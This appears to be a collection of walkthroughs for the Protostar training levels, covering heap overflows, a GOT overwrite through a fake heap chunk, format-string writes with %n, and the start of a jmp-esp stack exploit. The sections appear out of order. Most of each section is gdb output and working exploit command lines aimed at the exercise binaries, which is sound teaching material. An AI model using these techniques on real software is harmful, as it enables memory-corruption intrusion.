0x8049906 <free+226>:	mov    DWORD PTR [eax+0x8],edx
(gdb) i r eax edx
eax            0x8048864	134514788
edx            0x804b11c	134525212
```

It's getting clearer — it tried to write at `winner() + 0x8` and got an error because `winner()` is in a read-only segment. To circumvent this, we will create a shellcode calling `winner()`, then we'll write the address of the shellcode into GOT and `mov DWORD PTR [eax+0x8],edx` will be executed successfully.

Trying to use a pointer to buffer instead of a direct pointer to `winner()`:

```
(gdb) r `python -c "print 'A'*32"` `python -c "print 'B'*32 + '\xfc\xff\xff\xff' + '\xf0'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x08\xc0\x04\x08'"`
Starting program: /opt/protostar/bin/heap3 `python -c "print 'A'*32"` `python -c "print 'B'*32 + '\xfc\xff\xff\xff' + '\xf0'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x08\xc0\x04\x08'"`

Program received signal SIGSEGV, Segmentation fault.
0x08049951 in free (mem=0x804c058) at common/malloc.c:3648
3648	in common/malloc.c
(gdb) x/i $eip
0x8049951 <free+301>:	mov    DWORD PTR [eax+0xc],edx
(gdb) i r eax edx
eax            0x0	0
edx            0x0	0
```

Crashed again. At least we rewrote our first buffer (see at `0x804c010`):

```
(gdb) x/24x 0x0804c000
0x804c000:	0x00000000	0x00000029	0x41414141	0x41414141
0x804c010:	0x0804b11c	0x41414141	0x41414141	0x41414141
0x804c020:	0x41414141	0x41414141	0x00000000	0x00000029
0x804c030:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c040:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c050:	0xfffffffc	0x000000f0	0x43434343	0x0804b11c
```

After a day of googling I understood why this SEGFAULT happens — because the next chunk is not valid and it tries to check the next chunk.  So I needed to create a new fake chunk. I will use `-32` byte offset which in hex representation is:

```
>>> i = -32
>>> hex(i & 0xffffffff)
'0xffffffe0'
```

Then I will create "fake" header. `size` in our fake header will be `-8` which is `0xfffffff8`. Thus our next next chunk will point directly to our `b` buffer which has `PREV_IN_USE` bit set:

```
(gdb) r `python -c "print 'A'*32"` `python -c "print 'BBBB' + '\xf8\xff\xff\xff' + 'B'*24 + '\xfc\xff\xff\xff' + '\xe0\xff\xff\xff'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x08\xc0\x04\x08'"`

Starting program: /opt/protostar/bin/heap3 `python -c "print 'A'*32"` `python -c "print 'BBBB' + '\xf8\xff\xff\xff' + 'B'*24 + '\xfc\xff\xff\xff' + '\xe0\xff\xff\xff'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x08\xc0\x04\x08'"`

Program received signal SIGILL, Illegal instruction.
0x0804c035 in ?? ()
(gdb) x/16x $eip
0x804c035:	0x42ffffff	0x42424242	0x42424242	0x42424242
0x804c045:	0x42424242	0x42424242	0xfc424242	0xe0ffffff
0x804c055:	0xddffffff	0x94ffffff	0x940804b1	0x000804b1
0x804c065:	0x00000000	0x00000000	0x00000000	0x00000000
(gdb) x/x 0x0804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>:	0x0804c008
```

New SEGFAULT and we are sure that we changed the flow. Then I changed `A` to `\xcc` in order to have breakpoints instead of shellcode:

```
(gdb) r `python -c "print '\xcc'*32"` `python -c "print 'BBBB' + '\xf8\xff\xff\xff' + 'B'*24 + '\xfc\xff\xff\xff' + '\xe0\xff\xff\xff'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x08\xc0\x04\x08'"`

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0804c00d in ?? ()
```

Let's look closer at the address where we jump to:

```
(gdb) x/x 0x0804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>:	0x0804c008
(gdb) x/16x 0x0804c008
0x804c008:	0x0804c028	0xcccccccc	0x0804b11c	0xcccccccc
0x804c018:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0x804c028:	0x00000000	0x00000029	0x00000000	0xfffffff8
0x804c038:	0x42424242	0x42424242	0x42424242	0x42424242
```

`0x0804c028` is just the address of the next chunk. It is there because `free(a)` was called. Let's change values a bit to jump over this:

```
(gdb) r `python -c "print '\xcc'*32"` `python -c "print 'BBBB' + '\xf8\xff\xff\xff' + 'B'*24 + '\xfc\xff\xff\xff' + '\xe0\xff\xff\xff'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x10\xc0\x04\x08'"`

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0804c011 in ?? ()

(gdb) x/16x 0x0804c000
0x804c000:	0x00000000	0x00000029	0x0804c028	0xcccccccc
0x804c010:	0xcccccccc	0xcccccccc	0x0804b11c	0xcccccccc
0x804c020:	0xcccccccc	0xcccccccc	0x00000000	0x00000029
0x804c030:	0x00000000	0xfffffff8	0x42424242	0x42424242
(gdb) x/x 0x0804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>:	0x0804c010
```

After that I modiefied the first buffer (where our shellcode is) to call `winner()`:

```
$ rasm2 -a x86 -b32 'push 0x8048864; ret;'
6864880408c3
```

Then I changed the exploit:

```
(gdb) r `python -c "print '\xcc'*8 + '\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'BBBB' + '\xf8\xff\xff\xff' + 'B'*24 + '\xfc\xff\xff\xff' + '\xe0\xff\xff\xff'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x10\xc0\x04\x08'"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap3 `python -c "print '\xcc'*8 + '\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'BBBB' + '\xf8\xff\xff\xff' + 'B'*24 + '\xfc\xff\xff\xff' + '\xe0\xff\xff\xff'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x10\xc0\x04\x08'"`
that wasn't too bad now, was it? @ 1484671479

Program exited with code 056.
```

Run from console:

```
./heap3 `python -c "print '\xcc'*8 + '\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'BBBB' + '\xf8\xff\xff\xff' + 'B'*24 + '\xfc\xff\xff\xff' + '\xe0\xff\xff\xff'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x10\xc0\x04\x08'"`
that wasn't too bad now, was it? @ 1484671532
```

Exploit Exercises — Protostar Heap 3


There are a few interesting things here. The first one is in this code:

```
if(strlen(line + 5) < 31) {
    strcpy(auth->name, line + 5);
}
```

We see that the length of `line` parameter is checked. That means we cannot just overflow `auth->name`.

The second one is in this code:

```
auth = malloc(sizeof(auth));
```

When `malloc()` reserves space, it uses `sizeof(auth)`. However `auth` is a pointer. Thus, it uses a size of an address of the structure instead of the structure itself. It should be `sizeof(struct auth)`.

You can make sure, that the addresses increased by `0x10` each time we allocate new memory by calling `auth`:

```
auth a
[ auth = 0x804c008, service = (nil) ]
auth a
[ auth = 0x804c018, service = (nil) ]
```

`0x10` is a space needed for:

*    a chunk header;
*    `auth` space which is just 4 bytes in our case;
*    a padding for aligning an allocated memory on an 8-byte boundary.

  To undersrand how an allocated memory looks, just use this picture:

![img](https://i.imgur.com/bO6J0zB.jpg)

We see the program uses `strdup()`, which allocates a copy of a `char*` on the heap. In other words it uses `malloc()` in its internals. So we can use this function to allocate additional heap memory.

We need to construct a pseudo heap chunk as if it was 32 bytes allocated. Don't forget to take into account a size of chunk header used by `strdup()`. Then we need to write a variable right after it.

A little explanation to what is going to happen. We need our memory to look like this after execution:

```
auth chunk header [8]
-------------------------- chunk header --------------------------
auth chunk data [4]
padding to be aligned  [4] /* remember that 0x10  */
---- end of auth ----
service chunk header [8]
service chunk data [16]    /* 16 is a calculated value */
------------------------ 32 bytes of data ------------------------
auth [4]
```

Construct and run the exploit:
```
$ python -c "print 'auth a'+'\n'+'service'+'A'*16+'\xff'+'\n'+'login'" | ./heap2
[ auth = (nil), service = (nil) ]
[ auth = 0x804c008, service = (nil) ]
[ auth = 0x804c008, service = 0x804c018 ]
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]
```

It worked.


Exploit Exercises — Protostar Heap 2


This level is a lot like classical stack overflows.

Let's crash the app first:

```
(gdb) r `python -c "print 'A'*1000"`
Starting program: /opt/protostar/bin/heap0 `python -c "print 'A'*1000"`
data is at 0x804a008, fp is at 0x804a050

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
```

Now let's find the offset using patterns from `msfconsole`. Generate a pattern using this command:

```
$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
```

Then run the program with the pattern as input:

```
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Starting program: /opt/protostar/bin/heap0 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
data is at 0x804a008, fp is at 0x804a050

Program received signal SIGSEGV, Segmentation fault.
0x41346341 in ?? ()
```

Then search for `0x41346341` in the pattern:

```
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41346341
[*] Exact match at offset 72
```

The output above means that we need to rewrite 72 bytes before reaching `eip`.

Now we need to find the address of `winner()`:

```
$ readelf -s heap0
...
    55: 08048464    20 FUNC    GLOBAL DEFAULT   14 winner
```

Now let's use this address in the exploit:

```
$ ./heap0 `python -c "print 'A'*72 + '\x64\x84\x04\x08'"`
data is at 0x804a008, fp is at 0x804a050
level passed
```

Exploit Exercises — Protostar Heap 0


This level is different. Finding a vulnerabilty in the code is easy:

```
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
```

There are no buffer length checks. We can crash our program like this:

```
$ ./heap1 `python -c "print 'A'*30"` aaa
Segmentation fault
```

But when you use smaller input, it runs without any errors:

```
$ ./heap1 `python -c "print 'A'*20"` aaa
and that's a wrap folks!
```

Why is this hapenning? I started `gdb` and overflowed the input by 1 byte:

```
(gdb) r `python -c "print 'A'*21"` aaa
Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*21"` aaa

Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x8040041 <Address 0x8040041 out of bounds>, src=0xbffff899 "aaa")
    at strcpy.c:40
40    strcpy.c: No such file or directory.
    in strcpy.c
```

I noticed that there is `0x41` byte inside `strcpy()` function. That looked strange, so I run the program again, but I overflowed it with 2 bytes this time:

```
(gdb) r `python -c "print 'A'*22"` aaa
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*22"` aaa

Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x8004141 <Address 0x8004141 out of bounds>, src=0xbffff899 "aaa")
    at strcpy.c:40
40    strcpy.c: No such file or directory.
    in strcpy.c
```

Certainly, we are rewriting the address of a buffer in `strcpy()`. Since the second parameter passed to the function is `aaa`, it means that we are in the second `strcpy()` function. 

At this moment I realized how I can exploit this app. As we control which address is getting rewriten by the second `strcpy()` writes, we can rewrite it by the return address from the stack. For example, the second `strcpy()` can write the second input parameter into it. As a result, we can change the program flow.

Let's examine the stack after the crash:

```
(gdb) r `python -c "print 'A'*30"` aaa
Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*30"` aaa

Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x41414141 <Address 0x41414141 out of bounds>, src=0xbffff899 "aaa")
    at strcpy.c:40
40    strcpy.c: No such file or directory.
    in strcpy.c
(gdb) x/2x $esp
0xbffff640:    0x00000000    0x00000000
(gdb) x/20x $esp
0xbffff640:    0x00000000    0x00000000    0xbffff678    0x0804855a
0xbffff650:    0x41414141    0xbffff899    0x08048580    0xbffff678
0xbffff660:    0xb7ec6365    0x0804a008    0x0804a028    0xb7fd7ff4
0xbffff670:    0x08048580    0x00000000    0xbffff6f8    0xb7eadc76
0xbffff680:    0x00000003    0xbffff724    0xbffff734    0xb7fe1848
```

`0x41414141` is the address of a buffer for `strcpy()`. There's `0xbffff899` after it, it's an address of `aaa` string (we can see it from the error). Before `0x41414141` there are two addresses. Probably it's saved `eip` and `ebp` registers. Let's look at registers:

```
(gdb) info registers 
...
esp            0xbffff640    0xbffff640
ebp            0xbffff648    0xbffff648
...
eip            0xb7f09df4    0xb7f09df4 <*__GI_strcpy+20>
...
```

Our assumption is correct.

So we need to rewrite the address `i2->name` by the address of the return address on the stack. We start rewriting after 20 byte and we know the address of the return address on the stack is 2 words ahead, so it is `0xbffff640 + 3*4 = 0xbffff64c`. Let's try to rewrite `i2->name`, run `gdb` and set breakpoint on the second `strcpy()` call:

```
(gdb) b* 0x08048555
Breakpoint 1 at 0x8048555: file heap1/heap1.c, line 32.
(gdb) r `python -c "print 'A'*20 + '\x4c\xf6\xff\xbf'"` CCCC
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*20 + '\x4c\xf6\xff\xbf'"` CCCC

Breakpoint 1, 0x08048555 in main (argc=3, argv=0xbffff724) at heap1/heap1.c:32
32    in heap1/heap1.c
```

If we look at our stack, we can see that it was successfully rewritten by `0x43434343` (see the value on `0xbffff64c` memory address):

```
(gdb) s
...
(gdb) s
...
(gdb) x/24x $esp-12
0xbffff634:    0xb7ff6210    0xbffff87b    0xb7f09de0    0x00000000
0xbffff644:    0x00000000    0xbffff678    0x43434343    0xbffff64c
0xbffff654:    0xbffff894    0x08048580    0xbffff678    0xb7ec6365
0xbffff664:    0x0804a008    0x0804a028    0xb7fd7ff4    0x08048580
0xbffff674:    0x00000000    0xbffff6f8    0xb7eadc76    0x00000003
0xbffff684:    0xbffff724    0xbffff734    0xb7fe1848    0xbffff6e0
```

Now we need to replace the second parameter with the address of `winner()` function. We can get the address of the function using `readelf`:

```
$ readelf -Ws heap1 | grep winner
    55: 08048494    37 FUNC    GLOBAL DEFAULT   14 winner
```

Or from `gdb`:

```
(gdb) print winner
$1 = {void (void)} 0x8048494 <winner>
```

Now we can run out exploit:

```
(gdb) r `python -c "print 'A'*20 + '\x4c\xf6\xff\xbf'"` `python -c "print '\x94\x84\x04\x08'"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*20 + '\x4c\xf6\xff\xbf'"` `python -c "print '\x94\x84\x04\x08'"`
and we have a winner @ 1484241540

Program received signal SIGILL, Illegal instruction.
0xbffff602 in ?? ()
```

If we run it from console only, it won't work because of environment variables. Let's find the correct address:

```
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) r `python -c "print 'A'*30"` aaa
Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*30"` aaa

Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x41414141 <Address 0x41414141 out of bounds>, src=0xbffffdb0 "aaa") at strcpy.c:40
40    strcpy.c: No such file or directory.
    in strcpy.c
(gdb) x/8x $esp
0xbffffb60:    0x00000000    0x00000000    0xbffffb98    0x0804855a
0xbffffb70:    0x41414141    0xbffffdb0    0x08048580    0xbffffb98
```

Calculate the offset like before `0xbffffb60 + 12 = 0x0xbffffb6c` and run exploit in console:

```
$ /opt/protostar/bin/heap1 `python -c "print 'A'*20 + '\x6c\xfb\xff\xbf'"` `python -c "print '\x94\x84\x04\x08'"`
and we have a winner @ 1484242022
Segmentation fault
```

Exploit Exercises — Protostar Heap 1


This is a protostar walkthrough describing format string exploitation.


[This](https://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf) article is the only thing you need to complete these levels.

## Format 0

```
$ ./format0 %64d`python -c 'print "\xef\xbe\xad\xde"'`
you have hit the target correctly :)
```

When we use `%64d` , `sprintf` pops 64 bytes from the stack and then adds `0xdeadbeef` and copies it into `buffer` causing overflow.

## Format 1

Read [this](https://stackoverflow.com/questions/14588767/where-in-memory-are-my-variables-stored-in-c) first to understand how different variables are stored. Then we look for `target`:

```
$ objdump -t format1 | grep target
08049638 g     O .bss	00000004              target
```

We see the needed variable is in uninitialized data segment called `.bss` and has the address `0x08049638`.

Then I tried to print 146 bytes from the stack and tried to find where our buffer is stored:

```
$ ./format1 ABCD`python -c 'print "%x."*146'`

ABCD804960c.bffff508.8048469.b7fd8304.b7fd7ff4.bffff508.8048435.bffff708.b7ff1040.804845b.b7fd7ff4.8048450.0.bffff588.b7eadc76.2.bffff5b4.bffff5c0.b7fe1848.bffff570.ffffffff.b7ffeff4.804824d.1.bffff570.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffff588.a003ccb4.8a519aa4.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffff5b4.8048450.8048440.b7ff1040.bffff5ac.b7fff8f8.2.bffff6fe.bffff708.0.bffff8c3.bffff8d8.bffff8ef.bffff907.bffff915.bffff929.bffff94c.bffff963.bffff976.bffff980.bffffe70.bffffe89.bffffec7.bffffedb.bffffef9.bfffff10.bfffff21.bfffff3c.bfffff44.bfffff54.bfffff61.bfffff97.bfffffac.bfffffc0.bfffffd4.bfffffe6.0.20.b7fe2414.21.b7fe2000.10.78bfbbf.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffff6db.1f.bffffff2.f.bffff6eb.0.0.0.0.0.50000000.f6e2fdf8.67e5aff4.14e8ba4e.6901a7c9.363836.0.0.0.2f2e0000.6d726f66.317461.44434241.252e7825.78252e78.2e78252e.252e7825.
```

Can you see that `0x44434241` value in the end? Also you can use some bruteforce:

```
$ for i in {1..1000}; do echo -n "$i ";./format1 "ABCD%$i\$x" | grep 44434241; if (( $? == 0 )); then break; fi ; echo ""; done;
1
2
...
141
142 ABCD44434241
```

`%4$x` is what called "direct access".

You can see `ABCD` above (don't forget we are on little-endian machine). Now we know the offset and we can try to directly access this variable:

```
./format1 ABCD`python -c 'print "%142$x"'`
ABCD44434241u
```

Now we know the offset in the stack in `printf` and we can rewrite the value using `%n`. Read more about using `%n` [here](https://stackoverflow.com/questions/3401156/what-is-the-use-of-the-n-format-specifier-in-c). In a nutshell, using `%n` you must specify address of `int` variable where the size of written data will be written to.

So if you use something like `<addr>%141%n` it will pop `addr` from the stack and will write the number of written bytes there.

We know the address is `0x08049638` that in little-endian format is `\x38\x96\x04\x08`. Now we can simply replace `ABCD` with the address:

```
$ ./format1 `python -c 'print "\x38\x96\x04\x08"+"%142$n"'`
8�you have modified the target :)
```

## Format 2

Now we are supposed to rewrite the variable with a particular value 64.

Now let's do a bit of bruteforcing to find the offset:

```
$ for i in {1..20000}; do echo -n "$i "; echo -n "AAAAAA%$i\$x" | ./format2 | grep 4141; if (( $? == 0 )); then break; fi ; echo ""; done;
1
2
3
4 AAAAAA41414141target is 0 :(
```

Now we need to find the address of `target` variable:

```
$ objdump -t format2 | grep target
080496e4 g     O .bss	00000004              target
```

Let's try to rewrite to rewrite the variable with uncertain value:

```
$ python -c "print '\xe4\x96\x04\x08'+'%4\$n'" | ./format2
��
target is 4 :(
```

We write 4 bytes and it says about it. If we want to write more, we just need to increase the number of bytes written. In this case the program will get 64 bytes before `%4$n` and then it replaces `%4$n` with the number of bytes it has already written:

```
$ python -c "print '\xe4\x96\x04\x08'+'A'*60+'%4\$n'" | ./format2
��AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
you have modified the target :)
```

## Format 3

We start this challenge with bruteforcing to find the offset:

```
$ for i in {1..20000}; do echo -n "$i "; echo -n "AAAAAA%$i\$x" | ./format3 | grep 4141; if (( $? == 0 )); then break; fi ; echo ""; done;
1
2
...
11
12 AAAAAA41414141target is 00000000 :(
```

Now we need to find the memory address of `target`:

```
$ objdump -t format3 | grep target
080496f4 g     O .bss	00000004              target
```

So let's try to rewrite `target`:

```
$ python -c "print '\xf4\x96\x04\x08'+'%12\$n'" | ./format3
��
target is 00000004 :(
```

Awesome!  It says we rewrote 4 bytes.

Then I tried to extend the string and look and the stack:

```
$ python -c "print 'AAAABBBBCCCCDDDDEEEEFFFFGGGG'+'%x.'*16" | ./format3
AAAABBBBCCCCDDDDEEEEFFFFGGGG0.bffff4c0.b7fd7ff4.0.0.bffff6c8.804849d.bffff4c0.200.b7fd8420.bffff504.41414141.42424242.43434343.44444444.45454545.
target is 00000000 :(
```

Now let's try to directly take 12th and then look at values on the stack:

```
$ python -c "print '\xf4\x96\x04\x08BBBBCCCCDDDDEEEEFFFFGGGG'+'%12\$n'+'%x.'*20" | ./format3
��BBBBCCCCDDDDEEEEFFFFGGGG0.bffff4c0.b7fd7ff4.0.0.bffff6c8.804849d.bffff4c0.200.b7fd8420.bffff504.80496f4.42424242.43434343.44444444.45454545.46464646.47474747.24323125.2e78256e.
target is 0000001c :(

```

To be clearer let's draw simple scheme of our stack:

```
junk              <- 1st, 2nd, ... values
...
\xf4\x96\x04\x08  <- 12th value
BBBB              <- 13th value
CCCC              <- 15th value  
DDDD              <- 16th value  
EEEE
FFFF
GGGG
...
<saved ebp>
<saver ret>
```

I understand that it could be confusing. Because here numbers don't have nothing with how the stack grows. They are just argument numbers. If so try to read about direct access in [this](https://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf) paper.

Now everything is clear: we need to replace `BBBB`, `CCCC`, `DDDD` with `address + i` to rewrite each byte and add needed offsets in order to write the right value.

Let's try to rewrite the lowest byte first. It must be `0x44`:

```
$ python -c "print '\xf4\x96\x04\x08BBBBCCCCDDDD'+'%52u'+'%12\$n'+'%x.'*20" | ./format3
��BBBBCCCCDDDD                                                   0bffff4c0.b7fd7ff4.0.0.bffff6c8.804849d.bffff4c0.200.b7fd8420.bffff504.80496f4.42424242.43434343.44444444.75323525.24323125.2e78256e.252e7825.78252e78.2e78252e.
target is 00000044 :(
```

Then I tried to rewrite the third bite:

```
$ python -c "print '\xf4\x96\x04\x08\xf5\x96\x04\x08CCCCDDDD'+'%52u'+'%12\$n'+'%13\$n'" | ./format3
����CCCCDDDD                                                   0
target is 00004444 :(
```

Awesome, it works. I didn't know it keeps the number of already written bytes. So it's easier to write small values first. We need to get `0x01025544`, but we certainly cannot get `0x01` and `0x02`. However we can try to write `0x101` for example. We will write in this order: `0x44`, `0x55`, `0x101`, `0x102` (or maybe `0x202`).

`0x55` is a third byte, so we need increase our address just by 1:

```
$ python -c "print '\xf4\x96\x04\x08\xf5\x96\x04\x08CCCCDDDD'+'%52u'+'%12\$n'+'%17u'+'%13\$n'" | ./format3
����CCCCDDDD                                                   0       3221222592
target is 00005544 :(
```

Instead of writing `0x101` and `0x102` we can try to write `0x102` as two byte value:

```
$ python -c "print '\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08DDDD'+'%52u'+'%12\$n'+'%17u'+'%13\$n'+'%173u'+'%14\$n'" | ./format3
������DDDD                                                   0       3221222592                                                                                                                                                                   3086843892
you have modified the target :)

```

Wow, we modified the target :)

## Format 4

Now we need to redirect the flow. In order to do so we can just rewrite the return address.

As always we start with finding the offset:

```
$ for i in {1..20000}; do echo -n "$i "; echo -n "AAAAAA%$i\$x" | ./format4 | grep 4141; if (( $? == 0 )); then break; fi ; echo ""; done;
1
2
3
4 AAAAAA41414141
```

Now let's find the address of `hello()` function:

```
$ objdump -t format4 | grep hello
080484b4 g     F .text	0000001e              hello
```

From this point I understood that we are not supposed to rewrite the return address and we need to change the relocation table.

Let's look at relocations:

```
$ objdump -TR format4

format4:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
00000000  w   D  *UND*	00000000              __gmon_start__
00000000      DF *UND*	00000000  GLIBC_2.0   fgets
00000000      DF *UND*	00000000  GLIBC_2.0   __libc_start_main
00000000      DF *UND*	00000000  GLIBC_2.0   _exit
00000000      DF *UND*	00000000  GLIBC_2.0   printf
00000000      DF *UND*	00000000  GLIBC_2.0   puts
00000000      DF *UND*	00000000  GLIBC_2.0   exit
080485ec g    DO .rodata	00000004  Base        _IO_stdin_used
08049730 g    DO .bss	00000004  GLIBC_2.0   stdin


DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
080496fc R_386_GLOB_DAT    __gmon_start__
08049730 R_386_COPY        stdin
0804970c R_386_JUMP_SLOT   __gmon_start__
08049710 R_386_JUMP_SLOT   fgets
08049714 R_386_JUMP_SLOT   __libc_start_main
08049718 R_386_JUMP_SLOT   _exit
0804971c R_386_JUMP_SLOT   printf
08049720 R_386_JUMP_SLOT   puts
08049724 R_386_JUMP_SLOT   exit
```

Additionally to look at the relocation table you can use:

```
$ readelf -r format4

Relocation section '.rel.dyn' at offset 0x304 contains 2 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
080496fc  00000106 R_386_GLOB_DAT    00000000   __gmon_start__
08049730  00000905 R_386_COPY        08049730   stdin

Relocation section '.rel.plt' at offset 0x314 contains 7 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804970c  00000107 R_386_JUMP_SLOT   00000000   __gmon_start__
08049710  00000207 R_386_JUMP_SLOT   00000000   fgets
08049714  00000307 R_386_JUMP_SLOT   00000000   __libc_start_main
08049718  00000407 R_386_JUMP_SLOT   00000000   _exit
0804971c  00000507 R_386_JUMP_SLOT   00000000   printf
08049720  00000607 R_386_JUMP_SLOT   00000000   puts
08049724  00000707 R_386_JUMP_SLOT   00000000   exit
```

Good articles about shared libraries and relocations:

* [The ELF format - how programs look from the inside](https://greek0.net/elf.html)
* [The C++ compilation process](http://faculty.cs.niu.edu/~mcmahon/CS241/Notes/compile.html)
* [Load-time relocation of shared libraries](http://eli.thegreenplace.net/2011/08/25/load-time-relocation-of-shared-libraries/)
* [Position Independent Code (PIC) in shared libraries](http://eli.thegreenplace.net/2011/11/03/position-independent-code-pic-in-shared-libraries/)

I thought it's a good idea to try to rewrite `exit()` function by the address of `hello()` function. Thus we need to rewrite value at the address`0x08049724` by `0x080484b4`.

Now let's use a test exploit:

```
$ python -c "print '\x24\x97\x04\x08' + '%33968x' + '%4\$n'" > /tmp/exploit.txt

$ gdb format4
GNU gdb (GDB) 7.0.1-debian
Reading symbols from /opt/protostar/bin/format4...done.
(gdb) r < /tmp/exploit.txt
Starting program: /opt/protostar/bin/format4 < /tmp/exploit.txt
...
Program received signal SIGSEGV, Segmentation fault.
0x000084b4 in ?? ()
```

Awesome. We rewrote the first two bytes and jumped to `0x000084b4`. Let's do the same with other two bytes. Do not forget to correct the offsets (-4 to the first one because we added new 4 bytes address).

Now run the exploit:

```
$ python -c "print '\x24\x97\x04\x08\x26\x97\x04\x08' + '%33964x' + '%4\$n' + '%33616x' + '%5\$n'" | ./format4
...
code execution redirected! you win
```


Exploit Exercises — Protostar Format Levels


We can see the binary uses a function `__builtin_return_address()` . This function returns the return address of the current function. Read more about it [here](https://gcc.gnu.org/onlinedocs/gcc/Return-Address.html).

The program looks almost like `stack5` with a small difference:

```
  if((ret & 0xbf000000) == 0xbf000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }
```

If the return address starts with `0xff` of `0xbf` the program stops. Check the result of `&` operation using `python`:

```
$ python -c "print hex(0xffffffff & 0xbf000000)"
0xbf000000
$ python -c "print hex(0xbfffffff & 0xbf000000)"
0xbf000000
```

If we run `gdb` and look at registers after execution of the program we see that `0xbf******` is simply stack addresses:

```
(gdb) b main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.
(gdb) run
Starting program: /opt/protostar/bin/stack6 
...
(gdb) info registers 
...
esp            0xbffff690    0xbffff690
ebp            0xbffff698    0xbffff698
...
```

That means that if the return address points to the stack, the program exits. That's why we were told to use `ret2libc` or `ROP`. I have an article on this topic I will about it some time later.  Actually, they didn't mention one more way - `jmp esp` technique. In this case, the return address (address of the gadget `jmp esp`) will not be on the stack, it can be found anywhere, even in a shared library. Actually it semi-ROP technique and it's pretty easy to do, so this is how I did this task.

To be a bit clearer I need to explain how it works.

Every function has an [epilogue and a prologue](https://en.wikipedia.org/wiki/Function_prologue). An epilogue looks like this:

```
push  ebp
mov   ebp, esp
```

It saves old `ebp` and moves `epb` "closer" to `esp` (equal actually) so that a new function had a new stack base address.

A prologue looks like this:

```
mov    esp, ebp
pop    ebp
ret
```

It cleares local variables (vis `mov esp, ebp`) and restores `ebp`. When our program runs `ret` instruction it already has `esp` register restored. It will point to the return address on the stack. After `ret` is executed, `esp` register is reduced by 4 bytes (the size of the address in 32-bit system). So if our exploit looks like `JUNK + RET + SHELLCODE`, `esp` will point to the shellcode.

